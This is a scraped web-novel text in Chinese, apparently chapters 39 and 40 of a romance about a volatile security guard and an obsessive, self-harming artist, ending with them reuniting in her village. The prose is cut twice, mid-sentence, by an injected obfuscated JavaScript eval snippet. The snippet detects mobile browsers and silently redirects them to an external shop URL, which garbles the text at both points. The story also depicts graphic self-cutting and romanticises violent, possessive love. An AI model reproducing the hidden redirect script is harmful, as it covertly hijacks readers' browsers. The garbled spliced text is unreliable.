八点十分的时候,阳光移到客厅里架的画板上,画板上的女孩蹲在台阶上在帮老头修自行车。沈英每天就这样站在六楼的窗户边偷看她,她在家的时间很短,早上七点半出门,晚上六点多回家,而回家早的话就会骑着电瓶车送外卖,一直到晚上十二点多,楼道里才会又传来轻快的脚步声,她哼着歌,手里拎着一份五块钱的炒方便面。 沈英观察着她,又按照她的生活作息,隔着一条狭窄楼道,他感觉到在与她同居。可今天,出了岔子,对面没人出来。沈英艺术系高材生出身,笔触真实,晨曦里,他摸着画板上的女孩,指尖也会酥麻,像摸着她苍白的脸。但这不是,沈英画不出来她,目光晦暗,画板被他掀翻,大步流行走到门口,他的手刚转动门把,咔哒一声,光泄进来,对面的门也被推开。 方剑文赤脚站着,头发乱糟糟地披散下来,黑沉的眼乌珠几乎不透光,而眼皮褶又折出红痕,她掰开只打开一条缝的铁门,沈英的头发被她拽住,硬拖到对面。脊背撞到墙上,方剑文掐着沈英的脖子,呼吸滚烫,凝睇着他碎发后的眼睛,开口问他:“看够了没有?嗯?你是不是觉得自己藏得很高明啊?” 沈英基本没有反抗,颈间的刺痛钻进呼吸里,他眼尾洇出细碎的泪珠,又听着她说:“这次要干什么?嗯?我问你们要干什么?想要打我?抢我的钱?挤掉我的工作?还是说........”拇指摁在他的喉结上,方剑文咧开笑,“还是说你想强了我?” 这句话像初见那天的暴雨,沈英耳畔嗡鸣,眼前一道道晨曦透过泪珠,折射出四分五裂的空白。而在空白里,沈英看到一双双手,那手撕扯过他,也撕扯过方剑文。 而在窒息里,在一双一双手透过他的胸膛去摸方剑文的瞬间,沈英挣扎起来,胳膊勒紧女孩的脖颈,他剧烈地咳嗽,喉咙漫出血气,而就在这紧密相拥的瞬间,血腥、灼热、心跳和光,一股脑纠缠着将他们捆绑。 母亲去世之后,沈英许久不曾说话,而这刻,世界空白,他一字一句拼凑,笨拙地看着方剑文说:“我.......我来,要爱你.......我是爱你,我爱你。” 沈英的表白,不合时宜,没有逻辑,像个疯子。但诡异的,方剑文安静下来,呼吸随着他的声音,渐渐平缓,她艰涩地眨了眨眼,努力消解着沈英的话,又拢干净他脸上的发丝,目光一寸寸仔细地看他。 像神经质的流浪猫,方剑文又凑近沈英,鼻尖蹭了下,闻他的气味,又用力搂住他躺倒地板上。客厅的二手风扇嘎吱嘎吱转得很慢,方剑文和沈英很快都生出汗,潮湿温热的皮肤上黏着彼此的发丝,他们都没有说话,也不放开对方。直到手腕上的表又一次震动,沈英才从金黄色的暮色里醒过来,他记不清楚自己多少天没有睡觉,也记不清楚自己什么时候在她怀里睡着了。 厨房传来锅铲的声音,塑料门帘被掀开,方剑文已经全然冷静,端着一大锅炒面,搁到桌子上,低头抽着两双筷子。递给刚醒来的沈英,方剑文说:“把你的房子退了,省点钱,过来跟我住。” 和方剑文住在一起的每天,沈英都像陷在金黄色的梦境里,脚下踩的地板是软的,摸着她脸的手指是酥麻的。他快乐到不真实,只能在方剑文躁郁症发作,暴力拖拽他时,才能在疼痛里,感受到尖锐的爱。然而每次方剑文清醒过来,都会摸着沈英的伤痕道歉,而沈英只是哭,眼里泛着涟涟春潮,他无法坦白自己在她赐予的疼痛里星语高涨。只能一遍遍哭,搂紧方剑文,“你弄疼了我,文文,我不怪你,但你要比欺负我的时候更用力爱我........爱我,文文........” 刚在一起的半年,沈英无法向方剑文坦白自己的星宇,因为她真的很忙,知道沈英没有工作后甚至拉着他一起去酒店上班。偶尔能待在家里,方剑文也只是搂着沈英睡觉,也只有睡着的时候,沈英才会发现。抱着他的女孩其实身材瘦弱娇小,大眼睛合起来,双眼皮褶皱洇着红,刀割似的。她紧抿着唇瓣,齿关咬得紧绷,偶尔会磨牙。焦虑感几乎要从呼吸里漫出来了,而沈英会去牵她的手,十指牢牢扣在一起,他将脸埋在方剑文颈侧,温热的肌肤相蹭,她会在睡着时自然地抱紧他,眉眼也舒展,做一夜好梦。 后来方剑文发现沈英画凰漫,还是在他洗澡的时候,捧着他的平板一张一张看过去。等到沈英裹着浴巾出来,发丝的水珠顺着雪白肩颈滚落,他面色苍白地站在那,咬着唇瓣甚至说不出来一句话。踉跄地扑过去跪在方剑文腿边,沈英的浴巾被踩掉,他只能湿漉漉的、赤裸地朝方剑文坦白自己。又哭着,他漂亮的脸漫洇着绯红,语气颤抖,哀求她:“对不起,我恶心,文文,我很恶心.......但你别不要我,我确实很恶心,但我、我.........” 方剑文合上平板,手摸到他脸上,粗鲁地抹掉眼泪,她也跪坐到地板上。和沈英面对面,摸他的头发,又好奇地凑近亲他的嘴。方剑文憋着笑,大眼睛亮晶晶的,哼了一声问还处在惊惧中的沈英,“亲嘴是这样的吗?原来你喜欢我这样对待你?” 呼吸顿住,沈英隔着泪雾看方剑文,她亲他,就像一只好奇的流浪猫辨认同类,甚至连眼睛都不闭。他又哭了,雪白的皮肤漫洇开一蓬蓬霞云。他的呼吸急促,又牵着方剑文的手拂过自己的脖颈,又覆在自己凶前。 “不是的,不是这样亲嘴的 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沈庭用西装垫着凳子坐下来,一天下来他也没有讲究的心情,用一次性杯子灌了口冰啤酒,点头:“都是真的,我没必要骗你。” “那我呢?我跟去沈家当保安啊?”方剑文还在疑惑,而沈庭看她的目光简直有些怜悯了,指尖磨着杯沿,他说:“你不会去沈家,二哥的遗嘱中写明了作为继承人的沈英,必须要娶他的继妹阮芙为妻。” 跟她预想的差不多,方剑文咬了口肉串,但莫名尝不出来味道,眼睛里却又泪,她咳嗽着摆手,推开沈庭递来的纸,只说是被辣的,然后灌了口啤酒才又问:“可是你们知道沈英有病吧?他心里有毛病你们知道吗?” “这个有了解。你不用担心,到时候回沈家自然有专业的医疗团队为他纾解治疗。” “啧,我倒不是担心这个,我主要怕你们嫌弃沈英,到时候在欺负他喽。他这个人吧,不爱说话,但又小心眼,性格还特轴。别看长得跟羊羔子似的,但你一眼没关注他,他就抿着个嘴抹眼泪,哄都哄不好。”方剑文岔着腿喝啤酒,大着舌头说话,俨然醉了,脸颊红扑扑的,大眼睛里蕴着水光,真成个小孩子了。抚着沈庭的膝盖,难受地将脸贴上去,两条麻花辫顺着肩头垂下去,沈庭下意识将她的头发拢到手里,避免沾上地上的灰。 他不知道怎么安慰她,但现在也不忍心推开方剑文。四周烤串的油烟味和孜然辣椒爆炒的香味,混着热风,一阵阵滚到他身上。沈庭现在浑身黏腻,头发也乱了,一点都不体面。但膝盖上枕着女孩温热的脸颊,他攥着她的两条麻花辫,昏黄的灯光和杂乱的夜色将他们掩盖。这一刻,沈庭有种荒谬的自由。是套子里的人被剥掉外衣的自由,沈庭忽然想摸摸方剑文,这只狡猾、肮脏又自由的流浪小猫。 “慢一点!沈英你要死啊,看点车!” 沈庭的指尖刚碰到方剑文的脸,只觉得被烫了一下。而路对面传来男人的呵斥,一道阴毒的目光有如实质地朝这边射过来。他抬头,正看到他的好侄子沈英,怒气冲冲地朝这边走,头上还戴着可笑的粉色鸭舌帽,和方剑文的帽子正好是一对。 他不耐烦地碾了碾指尖,收回手正要准备向沈英解释。但那孩子却又好像先遇到了麻烦,因为跑过来的时候撞到一桌正在喝酒的光膀子男人,喝得满脸通红的男人不依不饶,抓住沈英的手腕,手不老实地摸到他腰上。醉醺醺的男人掀了沈英的帽子,只看到少年漂亮媚丽的脸,压根没有怀疑性别,就将他拽住要灌酒。 跟过来的老李上前要将沈英拉走,可另外几个男人却架着他不得动弹,周围的客人全都看过来,但没几个人上前,只有吓坏的小女孩躲到桌子底下报警。老李无奈,看着沈英被他们掐住脸灌酒,气急之下朝着不远处的沈庭和方剑文吼了一声。 “方剑文!你他妈还睡呢!你对象被人搞了啊!沈英被人搞了!” 这嗓子都喊劈了,沈庭蹙眉,正拿出电话要喊人,就见枕着他膝盖的女孩猛地直起身,摇摇晃晃地攥住桌上的酒瓶,晃了晃脑袋,似乎在努力清醒。她身量娇小,又扎着麻花辫,大眼睛一眨一眨的,挤到人群里都怕她走丢。但下一秒,沈庭就听见她吼了一声,抄起酒瓶子跳起来砸到了那群醉汉头上。 “抄泥蝶的敢动我对象!!!” 方剑文跳起来打人,力气很大,碎玻璃片划过脸,血流到下巴,沈英红着眼睛去捡地上的粉色鸭舌帽,还没站起身,老李又将他拉走。而刚把三四个醉汉打趴下的方剑文,摸了把沈英雪白肌肤上的掐痕,原本乌沉沉的眼珠几乎泛出血色,她扭头抄起地上的碎玻璃片,直直朝着地上的醉汉捅。方剑文没想过后果,也不收手,而落下的瞬间手腕一软,彭得一声,后脑勺被酒瓶砸到。而砸完的沈英浑身发抖,接住瘫软的女孩,眼里淌着泪水,但目光冷静地可怕,他对状况之外的老李,不停地说:“不、不可以的,不可以,她不能为了我杀人.......文文可以疯掉,不能,但不能杀人......” 39.当你抛弃救赎文男主之后(三) 躺在病床上,方剑文也没怎么回忆起那晚砸她的人是谁,她只是做了个梦,也不能说是梦,一切太过真实,自觉告诉方剑文这就是设定好的程序和剧情。梦里方剑文见到了阮芙,和沈庭说的一样,阮芙热情温暖,一心一意地想要替继父弥补沈英。而经历过一开始的厌恶到最后被打动,沈英也没坚持多久,很快变得能说能笑,甚至还能在接手公司之后,在媒体面前给阮芙献上一场梦幻又豪华的婚礼。梦里方剑文还去找过沈英,想跟他复合,又被阮芙撞到误会。沈英在梦里倒是咄咄逼人,直接拽着方剑文去阮芙面前澄清,甚至当着公司众人的面揭穿,方剑文当初嫌贫爱富抛弃自己的事情。方剑文看着自己头上大大的绿茶女和恶毒女配的标签,而这时阮芙又红着眼抱住沈英,撒娇求他放过方剑文,阮芙还说:“哥哥,她好可怜啊,像条无家可归的狗.......” 醒过来的方剑文很累,是十六岁从老家逃出来之后前所未来的累。半边身子有些发麻,扭头一看是沈英抱着她的胳膊睡着了。他头上也顶着纱布,看起来伤得比她严重。方剑文又下意识生气,而这时沈英醒过来,睫羽颤了颤,看到她的瞬间又溢出一串串眼泪。他将湿漉漉的脸埋在她颈侧,哭声呜咽说不出来话。 “你、你再不醒,我就要死了,文文,我要死了.......” “你头是谁砸的?”方剑文没理会他崩溃的情绪,捏着沈英的脸,推开一点距离,平静地看着问。 沈英又眨掉一串眼泪,瞳仁蕴出雾气,他难过地说:“我自己,因为我没办法砸了文文,所以我要和你一样疼,不是不是,我要比你更疼。” “你不说我都不知道是你砸的我。”方剑文收回手,又看了一圈病房,推开又往她怀里蹭的沈英,问:“这病房看起来不便宜啊,我住了多久,谁掏的钱?” “是沈庭。”沈英的眸色暗下来,拉着方剑文的袖子,他回忆起那天方剑文枕在沈庭腿上的画面,阴郁的情绪不能控制,几乎要把他的心给抓烂。沈英说:“你又和沈庭一起出去,如果不是我提前去英豪,我还在被你骗着。文文,你喜欢沈庭吗?” “先不论这个,沈英,你为什么要提前去英豪?你不提前去就不会发现我在骗你啊?你不发现就不会生气,不会被醉汉纠缠,我也不会为了救你挨一酒瓶子是不是?” 方剑文的话说得无耻,但看着沈英却一脸认真,她见他怔松着似乎还想说什么,忽而抬手扇了他一耳光。又在沈英没有反应过来的时候,捧着他的脸,拢干净黏在颊边的发丝。她弯起眼睛笑了笑,哄得沈英失神,“你不就想要这个吗?嗯?不要问太多,沈英,去给我倒杯水吧。” 不、不是这样的,沈英摇头,还想解释,他要说他不是想要疼痛,他只是想要方剑文给予他的疼痛。沈英不是个对谁都能张腿的狗,他只是不健康地爱着方剑文,他离不开她。 可是女孩已经不耐烦地闭上了眼,应该在思索着她的烦心事,眉头微微皱着。沈英没有再出声,连眼泪都不流了,他去倒水,滚烫的开水漫过指尖,灼痛穿透皮肉,沈英心头溃烂,他惊惧地想着——方剑文,马上就要丢掉他了。 方剑文昏迷的时候,沈庭本要去探望她,但沈英锁着门,紧紧搂着昏迷的女孩,阴毒的目光望着他,像是护食的野狗。而现在方剑文终于醒了,出院那天沈庭直接来到病房,连阮芙都跟了过来。 病房里方剑文用手机公放着港台的老旧武打片,刀剑铮鸣之中,她利落地打包着行李,又不放心地让沈英检查有没有东西落下。而这时沈庭敲门进来,她关掉手机,目光落在男人身后的女孩身上。 一张和她梦里一模一样的脸,方剑文心头紧了紧,最后一丝幻想也破灭掉。她没说得出话,腰又被搂住,沈英挡住她的视线,浑身颤抖地抱着她,语气恐惧到绝望,求她:“别看,别看他们,文文,看着我吧,只看我.........我们回家好不好,你和我,我们两个的家........不要沈庭,不要其他人,带我回去,文文........” “你真挡着我也确实看不见其他人。”方剑文用力扯开他,又在沈英要哭的时候拍了拍他的脸,牵住他的手对沈庭和阮芙说:“对象有点粘人,别介意啊,那个你们来空手吗?要是没买果篮就折现直接给钱,我也不介意。” “好啊,看来你脑子没被砸坏,这我就放心了。”沈庭被逗笑,镜片后的眼镜愉悦地弯起,他将手里提的袋子背到身后,袋子里装的是那天方剑文打架掉落的帽子。 地摊货,不值钱。沈庭这样想着,将它捡起来又藏好。 沈庭和阮芙住进了英豪酒店,而方剑文伤还没好就跑去上班,沈英是礼仪队,挂着彩不能复工,便每天跟去安保室陪她上下班。方剑文忙起来的时候,阮芙就会来陪沈英。她是个说话温声细语的女孩,总是忍不住掉眼泪,对沈英说些大人们的陈年往事。 但沈英不喜欢听,也不想阮芙叫他哥哥。他只是盯着安保室的监控,在一帧帧画面中找到方剑文的身影,看着她走路喝水工作,甚至是骂人,沈英都能感同身受地活过来。 直到阮芙问他:“哥哥,你是真的很喜欢方小姐吗?” 沈英转过头,看着她,目光有些渗人,平静地纠正阮芙说:“我是爱方剑文,我属于她。” 阮芙和沈英的关系没有缓和,而另一边,方剑文躲在监控死角,蹲着和沈庭商量:“一口价,一百五十万,沈英你们带走。毕竟他现在什么情况你们也知道,我要是不忽悠他,你们最多也有带个尸体回去。” 沈庭弯腰屈膝靠着树干,实在做不到像方剑文一样蹲着。他说:“一百五十万你就把沈氏的继承人给卖了?你知道他爸爸给他留了多少财产吗?” “你心里又在笑话我土包子见识短了吧?嗤,”方剑文翻白眼,薅了草扔到他的皮鞋上,“我是能兜得住多少钱就要多少,就说我真的狮子大开口,要十几个亿。就算你们给得起,那还能轻易放过我,总有一天要我连皮带籽的吐出来。倒不如要个不痛不痒的金额,你们打发我也就是打发个要饭的,日后把我忘了,大家都清净。” 沈庭弯腰,伸着手没拍鞋上的土,反而是掌心落在方剑文头顶,轻轻摁了一下。又在她不悦地抬眼看过来时,收回手,笑了笑说:“我是不是说过很多次了,方剑文,你真的很聪明。” 聪明到让人根本无法忘记你。 ------------------------------------- 方剑文是领完全勤辞职的,辞职那天顺便把沈英的工资也领走了。老李走出老远去送她,方剑文说着不用,又从车棚里推了辆电瓶车,钥匙扔给他。 “我准备回老家了,这电瓶车用不上,二手卖了,我自己添了点钱给你换了辆新的,骑着试试。” “你回老家又不是中彩票了,不是.......你这丫头是不是真中彩票了啊,又是分手又是辞职的,准备一个人偷偷去过好日子是吧?”老李抹了把脸,对于这短短几天发生的事情其实还有点发懵。先是方剑文留宿在沈庭的房间,又是沈英冲进去莫名其妙待了一晚上,又被伤痕累累地抬到豪车里。本来应该在房间里的沈庭却西装革履地出现在驾驶位上,身侧还坐着阮芙小姐。他们叫来已经换上安保服的方剑文,不知道说了什么,总之她翻了个白眼,摆摆手就送走那一车“麻烦”。 很快到月底,方剑文拿了全勤,就立马把工作辞了,通知老李她要回老家盖房子去。 老李当时还问方剑文,不是说老家的人对她不好吗,结果她一边捣鼓着上班时攒的塑料瓶,一边毫不在意地说:“爷奶死完了,家里房子荒得长草,后山还有几亩地,我回去给种了。” 一时之间,老李说不出来心里是什么滋味,直到现在,他眼睛有点发酸,被方剑文拍着肩膀安慰,她说:“你还不知道我吗?我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136955|149889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在哪过日子哪就是好日子。到惠安这几年吧,李叔你算第一个帮我的,我知道是因为我跟你被拐的闺女同一年生,但我心里都记着你的好,叔,好人有好报,你肯定能找到你闺女的。” 这一通话说下来,老李眼泪怎么也止不住,他背过身慌乱地摆手,晃了晃方剑文送他的车钥匙,摆手说:“行了,抓紧去赶公交吧。你这娃抠门,又舍不得打车。还有啊........真遇到事了跟叔说,能帮就一定会帮。” 回到小区的房子里,行李家具等一切东西,方剑文基本都没收拾,倒也不是因为有钱就不扣了,主要怕沈英顺着她寄行李的线索找到她老家去。被砸脑袋那天买的二手空气炸锅,方剑文想着还没用过,怪可惜,就最后做了蛋挞,两盘子十六个,她自己坐在杂物间,四周墙壁全是沈英画的她的画像。方剑文一边看一边吃,最后撑得直掉眼泪,躺在地上,莫名其妙对空气说了一句:“一定要小太阳吗?给你撑伞的小蘑菇真的不行吗?” 似乎那天晚上,沈英也是这样跪在方剑文腿边,他抱着她的腰,漂亮的面孔上全是泪水,哭起来甚至说不出话,语气都是破碎的,问她:“为什么要喜欢沈庭?文文,不喜欢他,不喜欢沈庭好不好,喜欢我呀,你要喜欢我呀.......” 本来就是方剑文和沈庭做的局,她知道沈英会在安保室监控自己,所以故意在雨夜走到沈庭的套房,果然等了没超过十分钟,浑身湿漉漉的少年就像水鬼似的出现,他砸门,又哀求,求方剑文不要爱沈庭。 方剑文拽着沈英的头发,微蜷的黑发被雨水打湿后,像海草一样,黏在她的指缝。她把他拽进屋里,俯视着满脸泪水又在颤抖的少年。方剑文想起他常会为她念的诗,她是个没读过多少书的人,也没情趣,但每次□□到疯狂的时候,沈英都会呜咽着搂紧她,明明退根都在颤抖,肌肤上都是红紫的掐痕。他就会哭着念,断断续续的,竟然真的让方剑文记到了心里。 即使那样,也只是 使我爱你爱得更加厉害。 我是你的一条狗, 你越是打我, 我越是讨好你。 请你就像对待你的狗。 一样对待我吧, 踢我打我,冷淡我, 不理我,都好。 只要容许我跟随着你。 虽然我是这么不好。 在你的爱情里我还能要求什么? 比一条狗还不如的地位吗? ....... 沈英又哭了,这一夜他是被丢掉的小狗。方剑文跪下来抱他,心里其实在生气,但舍不得打他,只是把话说绝:“我怎么能不爱沈庭呢?他有钱,太有钱让我没办法拒绝。沈英,你回沈家好不好?做个更有用的人,有用到让所有人都没办法再抛弃你的人,不好吗?” 她这样骗他,沈英却不再相信,像是应激一样,苍白的脸颊迅速漫洇开绯红,他眼睛迷离,又掏出准备去捅沈庭的刀。冰凉的刀刃割破胳膊,血珠洇出来时,他问方剑文:“还不爱我吗?” 方剑文冷着脸没有说话,反而站起身,像看条疯狗一样看着他。沈英的笑愈发甜腻,他又往大腿上划,血色洇透黑色的裤子,他唇瓣颤抖,眼里的疯狂却不断翻涌,沈英问:“这样、这样还是不爱我吗?” 方剑文垂眼,甚至露出几分不耐烦,城市下着暴雨,一道道闪电劈开夜幕,她和跪地的沈英之间被撕开无数道空白。沈英的刀尖终于还是对准喉管,他仰着脸,在空白里,破碎成血色的山茶花。 于是,又一道闪电,在被撕碎的时空里,沈英的刀尖被攥住,方剑文的血更滚烫,掉在地上,和沈英的血一起融成小小的“湖泊”。方剑文亲了他的脸,黑沉沉的注视就是她的命令。 方剑文对沈英说:“你去变成更有用的人,我去盖我们的房子。” 沈英,你是我的狗,相信吗?我会把你栓回家的。 40.当你抛弃救赎文男主之后(完) 在杂物间睡到晚上的时候,方剑文被手机震醒,车票买的是半夜一点十五的车次,因为最便宜。而另外陌生的号码发来几十条短信,把她震醒的那条是——【又不说话了,你是骗我的吗?说等我变成有用的人,带我回家的话也是骗我的吗】 【你现在怎么样?能自由活动吗?】方剑文坐在满地的画稿上,给回发消息。 【沈庭安排了一个团队日夜监视我,还有那个阮芙也每天都来烦我,我吃不下去饭,可是我也跑不了。他们说会给我钱的,很多钱,我现在只为了钱待着这里。】 【嗯,那我是骗你的,你找不到我的,傻叉。】 飞快把对方号码拉黑,方剑文又把电话卡扣出来掰断,她倒在沈英的画稿里,无数个“她”将她包围。方剑文哭了,于是整间屋子都在哭。 ------------------------------------- 方坤他孙女在城里给有钱人当小三,现在挣钱回村里可是摆起来了。 这种流言从方剑文回老家之后,就没断过。早上她去菜园里薅黄瓜,路过村头,几个女人伸着脖子往她盆里瞅。方剑文站定,铁盆哐当砸在他们身后的树上,树皮砸碎一块,方剑文拍了拍手,说:“盆给我捡回来,就你,赖翠英,成天嘴皮子就没停过,还是地里的活少了,给你闲的,不行一会你去我家把我衣服给洗了。” 女人们不说话了,一个年轻的婶子把盆扔给方剑文,她又瞪了他们几个一眼,才大摇大摆地离开。留下几个女人面面相觑,最后说:“我觉得吧,就方文文那样,有钱人也得害怕吧.........说不定她的钱真是自己赚的嘞.......” 到菜园里摘了三根黄瓜,方剑文又顺道把地头的草给拔了,回家时绕到南院,看了眼快要盖成的房子,心满意足地抱着铁盆回家。家里的老房子简单打扫过,现在勉强能住人。铁门生锈了,几十年前刷的红漆也斑驳掉落,门锁是坏的,方剑文懒得修,每次都用麻绳随便栓住俩门把手,图的就是个脱裤子放屁。毕竟按照村里人说的,小偷摸到方文文家里,都得哭着留下两百块钱再走。 今天回家,方剑文看了眼门把手上的绳子,和她出门前一样。于是放心踹开铁门,咬着黄瓜蹦进去。而身后铁门彭得摔上,院子里没风,方剑文眉心跳了跳,下一秒被捂住口鼻撂倒。 眼前模糊,而模糊中,方剑文抓了一把,指缝里都缠着海藻似的微蜷黑发。 你小子.......鬼啊啊啊啊啊,她放心地晕倒了,但还想骂人。 醒过来,手腕是被锁着的,裙子是被换过的,连屋里地板都被擦过。方剑文睁眼看了看窗外,乌黑的夜幕,酝酿着一场暴雨。锁着她的手铐被拨了一下,她顺着声音看向跪在她身边的男人。 是的,男人,一年多没见,沈英原本介于少年和青年之间的身体已经完全成熟,再穿着她之前在夜市给他买的裙子已经不再合身,腰侧的拉链拉不上,肩宽许多,吊带的绳子只能耷拉着,而饱满的凶肌也露在外面。只有他的丹凤眼还是一样湿漉漉的,揉开绯红,委屈地看着方剑文。 “你怎么没剪头发呀,英子,你比我还先长发及腰了。” 方剑文一开口就是笑,也没良心,又肩膀去撞沈英,反而自己身子一歪差点倒地上,被他伸手捞到怀里,两条长腿夹着她的腰,牢牢锁住。 “我这一年多差点死了。”他开口的声音也低沉许多,浓重的鼻音里透出既委屈又疲倦的情绪。湿漉漉的脸埋在方剑文颈侧,沈英合上眼,泪珠又一颗颗挤出来。 “你没死,英子,你还长高了变壮了。” 方剑文的手腕被绑着,就又脸去蹭沈英,小狗似的,亲他的头发,亲他的眼睛。沈英难过地直起身,不给方剑文亲,又下意识地圈紧她的腰,问:“你没有想我吗?你还骂我傻叉,我是你的狗,方剑文,但我不傻,我只是爱你爱得不聪明了。” “我嘴巴坏啊,你又不是不知道,我骂你是骂的最轻的,像沈庭那种,我都是骂他老王八的。” 沈英表情都扭曲了,气得想笑,多么浓烈的情绪都被她搅散。明明是方剑文抛弃他,可现在她却像没有分开那一年似的,还在和他说着笑话。 他气得要死,心头又发软,腰腹处的伤痕总是快要长好又被他割开,现在洇出血,透在不合适的白色纱裙上,像是开到最后的山茶花。而沈英记得,山茶花又叫断头花,花语是——你怎么敢轻视我的爱? “又流血了,沈英,你又不乖。”看到裙子上洇出的血,方剑文的神色也郑重起来,眼瞳乌沉沉,屋外开始打雷,轰隆隆的雷声响起来,邻居们相互喊着去到房顶收衣服和粮食。 隔壁赖翠英也站在房顶喊,叫着方文文,又骂她这死娃睡得可真沉。 “知道咧!”方剑文受不了赖翠英,嗷了一嗓子喊回去。再涨红着脸去看沈英,情绪都没了,她气冲冲地挣了下手腕上的铐子,说:“解开!快点上房顶收粮食了!” 沈英被他一瞪,下意识就把钥匙拿了出来,一直到解开手铐,方剑文站起来时,他才有些慌张,跪在地上去拉她的手。方剑文不耐烦,扭头把沈英从地上拽起来,撸掉手腕上的皮筋,踩在沙发上给沈英扎了个低马尾。然后瞟了眼他身上被撑爆的裙子,想了想还是让他裹上了自己的雨衣,勉强没有露点,方剑文这才拉着他爬到房顶,赶在落雨前将粮食拢了起来。 做完这一切,方剑文累瘫了,躺在地板铺的凉席上,又把状况之外的沈英拽到怀里,她舒服地枕到他的胳膊上,眯了眯眼,开心地像小猫翘胡子,蹭了蹭另一只小猫,说:“我知道你来想干嘛,沈英,你是不是想把刀塞到我手里,逼我割破你的脸,然后再把绳子套到脖子上,让我勒你,扇你,羞辱你,践踏你。你要我把你当狗,是不是?” 沈英进屋时就把衣服全脱了,赤裸地躺在方剑文怀里,两人相触的皮肤黏腻,怀抱也潮湿,呼吸纠缠着,他们还是那么亲密无间,像中间不曾分别了一年。 他微微睁大了眼睛,似乎在思考为什么方剑文能把他心里的想法全给说出来。但她说着又亲了亲他的脸,沈英就不想了,贴着她的唇瓣摩挲,他现在只想被搞烂,想死在方剑文身上。 “沈英,没有人会爱一条狗。”方剑文摸着他的脸,眼睛里一片清明,印着窗外划过的闪电。她亲吻沈英,说:“我不是很有文化,但我总觉得姓莎的老头说的不太对。沈英,你不是我的一条狗,我不会打你,也不需要你讨好我。我不会像对待狗一样对待你,不会踢打你,冷淡你,或者不理你。我会和你在艰难的生活里一起走,你没有什么不好,在我的爱情里,你要排第一。” 世界还在轰隆声中,苍白的一瞬,方剑文在闪电的裂隙里,看到她的精神病情人狂笑,眼里蓄满泪水。沈英抱紧了她,腿张开,长发披散,在夜里像网,将他和所爱拢在一起纠缠。 “方剑文,怎么办?你越是这样说,我越想被你甘烂。” 七零八落也没关系,当个下贱胚子也没关系,方剑文,只要你愿意用爱和目光灌满我。 方文文真的在城里赚到钱了,还包了个小白脸,都追到家里去了,天天跟着她吃窝窝头啃老黄瓜。 午睡过后,方剑文领着沈英去看她在南院盖的新房子,路过村头赖翠英还在说。她白了一眼,当着他们的面,捧着沈英的脸吭哧就咬了一口。沈英露出来的脖子和锁骨,本来就被咬的没法看。现在摸着脸,他耳根子又红了,低头去牵方剑文的手。 小年轻腻歪着走远,赖翠英摇着蒲扇,跟老姊妹们分析:“我看出来了,这小白脸不能是个娘们吧,你瞅这凶这屁股,说他奶过娃我都信。” “不是婶子,谁家娘们一米八八啊?” 走在南园的路上,风很轻柔,小河流过木桥,平缓舒畅,河面的青苔下钻出乌黑的蝌蚪,天空的云彩向西滑过,拖出长长的颤动的流苏。 方剑文很珍惜这一刻,晃了下和沈英十指相扣的手,说:“这个景好,回去你画一副,我裱起来,绣成十字绣卖钱。” “不,不要画,我只画你。”沈英摇头,又往方剑文身边挤了挤,长发被风吹乱,一丝丝拂过女孩的侧脸。 “嘶,你这死脑子。” 方剑文说是生气,但明明大眼睛弯成了月牙,也不嫌挤,抱住沈英的窄腰,说:“你可偷着乐吧,要没那些画,说不定咱俩真得掰。” 惠安那间出租屋里,方剑文没有把画扔掉,她找到沈英平常埋画的樱桃树林,一张一张埋进去,又绞尽脑汁地回忆那个梦,对他写下来——沈英,没有沈庭也会有沈家的其他人找到你。与其一辈子东躲西藏,你不如回去一趟,他们都想让你当掌权 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136956|149889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的傀儡,但记住,在沈家,阮芙是可以相信的,但她心眼好没脑子,不能共事。沈庭这个人就是个老王八,心眼子密,但相比于沈家其他人,算是个好货了。你可以跟他交易,一点点将沈家名义上的权力让渡给他。最后随便发发疯,犯个小病,逼沈庭把你送到精神病院。最后一步,就是用阮芙的婚姻威胁沈庭,记住了,沈庭喜欢他名义上的侄女。想娶阮芙,必须要你让渡给他继承人的身份。所以用这件事威胁沈庭,让他给你一笔钱,制造假死脱身,到时候来我跟你说过的地方找我。当然,这一切的前提都是,如果你愿意跟我回家的话。 方剑文现在想起来,还是觉得很幸运,因为沈英真的去找了她的画像,他不是梦里的沈少爷,没有奔向太阳,而是找到角落里,和她一起堆蘑菇。 他是沈英,是方剑文的精神病情人。 几天前沈庭就给方剑文打过电话,电话那段的男人声音疲惫,但还是一贯蕴着笑意,开口就是对她说:“方剑文,你很聪明,你把我们所有人耍得团团转是不是?” “啊不买保险,嗯嗯,对,不买,也不买房........”方剑文假装听不懂,对着电话胡说八道。 于是沈庭笑得更大声,近乎爽朗,好一阵才平度呼吸,嗓音有些发哑,说:“你想过用阿芙的婚姻利诱我?但没想过我可能真的愿意帮你一把吗?” 男人没等回答,挂断电话,目光有些缥缈,窗外起了风,他深深看着桌上那顶沾着血渍的廉价帽子。 南园的房子修好了,六层楼,换上了投影仪和课桌。一楼还按照方剑文的要求,修了鸡圈和鸭圈。她很兴奋,但这次不是因为躁郁症,还是真的开心。像只脸颊鼓鼓囊囊的仓鼠,带他去看自己的珍藏。 沈英一直笑着看她,发丝垂下来,眉眼温柔的,像妈妈,不是具体的妈妈,是方剑文心里的妈妈。 他们站在六楼,撑着栏杆,风灌满女孩的裙摆,沈英抬手帮她压住,又听见方剑文冷静下来说:“你会不会觉得我出钱让村里修学校,很装?” 